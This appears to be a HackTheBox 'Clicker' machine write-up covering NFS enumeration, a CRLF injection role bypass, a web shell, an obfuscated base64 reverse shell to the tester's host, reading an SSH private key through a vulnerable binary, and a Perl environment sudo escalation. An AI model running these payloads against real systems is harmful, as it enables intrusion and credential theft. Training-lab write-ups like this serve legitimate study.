HTB Clicker Write up
HackThaBox Clicker machine write up.
Medium diffuculty box focusing on NFS shares and CRLF.
Enumeration
1
nmap -Pn -T4 -sVC 10.10.11.232
After the Nmap report, I found that there was an NFS & mount file sharing enabled.
I checked what mounts is available on the server using shoumount
command.
1
showmount -e 10.10.11.232
So I mounted it by:
1.Creating a new directory locally in /tmp
directory.
1
mkdir /tmp/nfs_shares
2.Mount the share using mount
command.
1
mount -t nfs 10.10.11.232:/mnt/backups /tmp/nfs_shares -o nolock
Found a zip file.
Copied it to my local mahine.
1
cp <zip file> /<path>/<to>/<local>/<dir>
Unzip
1
unzip clicker.htb_backup.zip
After unziping it, it looks like it is backup for the source code of the web server running on port 80.
I added the machine IP to my /etc/hosts file.
1
sudo nano /etc/hosts
Going around the website, it looks like I can creatre an acount to play.
There were also a couple of pages:
Bedore I create a new account I tried to make an account with one of the players names I found in info.php
page to check if they really exists.
Creating a new acount test : test
.
After logging in, new pages appeared.
A cliking game!
I played a litle bit for fun…!
Then saved the game.
Then I cheked my profile page.
Apperantly my data is stored somewhere maybe a database.
Then I decided to look at the source code and see if there was anything useful.
After going through the source code files, i found that all functionalities are linked to functions stored in db_utils.php
file, I went through the steps I took earlier making an account, playing and saving the game to see how things are really going on.
The first thing to note in db_utils.php
is the DB username, password and DB name.
When registering new account the form sends the data to create_player.php page, after it checks that all fields are not empty and the account does not already exists, it then calls create_new_player
function from db_utils.php
, the function will do an sql insert query for the new user in the players table.
Now we know that we have a table in the database called players with username, nickname, password, role, clicks, level columns, a new user is assigned the role User
, 0 clicks and level 0.
Worth noticing that the passwrod is stored using SHA256 hash format.
Login.php
form send the data to authenticate.php
page.
authenticate.php
checks that the username and password is not empty then calls check_auth
function from db_utils.php
, the function will check if the user exists in the database and if the password hashes match.
If user credintials is correct the function will return true to authenticate.php
and authenticate.php
will add the user data to the session variables to be used in futher interactions with the server. (load_profile
function will fetch all user data form DB.)
When saving a game the game data is sent to sava_game.php
page, the page will first check if one of the GET parameters is equal to role
to detect if the user is trying to modify his role, then it calls save_profile
function from db_utils.php
, the function takes the GET request variables and prepare them to update the user info in the database.
So if I can bypass the filter then I can update my role in the data base, and the sql query will look like:
1
UPDATE players SET clicks=5,level=1,role='Admin' WHERE username = 'test'
Note that the webserver is handiling sql injection using prepared statments, so we can exexlude sqli from our possibilties.
Foothold
Intersepting the save game request using Burpsuite.
This is how normal request and response looks like.
If I try to modify the role directly the server will detect it and return ‘Malicious activity detected!’
Sucsessfully bypassed the filter.
https://owasp.org/www-community/vulnerabilities/CRLF_Injection
https://book.hacktricks.xyz/pentesting-web/crlf-0d-0a
The role has changed in the database only.
Now I need to log out and login to update my role because the session variable ROLE
wont get updated unless I log in again.
After logging in, a new page called Administator appeared (admin.php).
Now after I can access admin.php I can see the top users nicknames, clicks, and levels. Which are retrived from the database.
These values can be exported as .txt, .json or .html file.
http://clicker.htb/exports/top_players_4poexjad.php?cmd=id
1
echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE1LjY5LzQ0NDQgMD4mMQo= | base64 -d | bash
1
http://clicker.htb/exports/top_players_4poexjad.php?cmd=echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE1LjY5LzQ0NDQgMD4mMQo= | base64 -d | bash
Stablize the shell
1
2
3
4
python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
ctrl + z
stty raw -echo; fg
Privilege Escalation
www-data to jack
1
cat /etc/passwd | grep sh$
Check strings from the executable.
Use online decompiler to tk inderstand how the executable works
int __fastcall main(int argc, const char **argv, const char **envp)
{
int result; // eax
size_t v4; // rbx
size_t v5; // rax
size_t v6; // rbx
size_t v7; // rax
int v8; // [rsp+10h] [rbp-B0h]
char *dest; // [rsp+18h] [rbp-A8h]
char *name; // [rsp+20h] [rbp-A0h]
char *command; // [rsp+28h] [rbp-98h]
char s[32]; // [rsp+30h] [rbp-90h] BYREF
char src[88]; // [rsp+50h] [rbp-70h] BYREF
unsigned __int64 v14; // [rsp+A8h] [rbp-18h]
v14 = __readfsqword(0x28u);
if ( argc > 1 )
{
v8 = atoi(argv[1]);
dest = (char *)calloc(0x14uLL, 1uLL);
switch ( v8 )
{
case 0:
puts("ERROR: Invalid arguments");
return 2;
case 1:
strncpy(dest, "create.sql", 0x14uLL);
goto LABEL_10;
case 2:
strncpy(dest, "populate.sql", 0x14uLL);
goto LABEL_10;
case 3:
strncpy(dest, "reset_password.sql", 0x14uLL);
goto LABEL_10;
case 4:
strncpy(dest, "clean.sql", 0x14uLL);
goto LABEL_10;
default:
strncpy(dest, argv[2], 0x14uLL);
LABEL_10:
strcpy(s, "/home/jack/queries/");
v4 = strlen(s);
v5 = strlen(dest);
name = (char *)calloc(v4 + v5 + 1, 1uLL);
strcat(name, s);
strcat(name, dest);
setreuid(0x3E8u, 0x3E8u);
if ( access(name, 4) )
{
puts("File not readable or not found");
}
else
{
strcpy(src, "/usr/bin/mysql -u clicker_db_user --password='clicker_db_password' clicker -v < ");
v6 = strlen(src);
v7 = strlen(dest);
command = (char *)calloc(v6 + v7 + 1, 1uLL);
strcat(command, src);
strcat(command, name);
system(command);
}
result = 0;
break;
}
}
else
{
puts("ERROR: not enough arguments");
return 1;
}
return result;
}
So there is a switch with 5 cases and a default case, a case if the user did not provide any arguments when running the executable, a case if the argumants was equal to 1,…
Based on my input it will set what sql file to use to make changes on the database and then it concats the file name to the full path to then use it with mysql command.
The ineresting part is the default case of the switch which will take the second argument specified in the command as the file to execute.
So I can provide any file on the system any read it.
1
./execute_query 5 ../.ssh/id_rsa
It has to be in the right format. Copied to my local machine, using text editor to correct the format, I used my own private key to compare it with the right format.
1
2
-----BEGIN OPENSSH PRIVATE KEY-----
-----END OPENSSH PRIVATE KEY-----
The first and the last line should be changed.
Now I can use the key to login as jack.
1
2
chmod 600 id_rsa
ssh [email protected] -i id_rsa
Read user.txt
jack to root
There is a vulnerability called “perl_startup” . This enable’s me to execute scripts with root privileges, as I had the ability to configure the environment while running Perl.
To get root shell is easy by running chmod u+s /bin/bash and after this running “ bash -p “
1
sudo PERL5OPT=-d PERL5DB='exec "chmod u+s /bin/bash"' /opt/monitor.sh
1
bash -p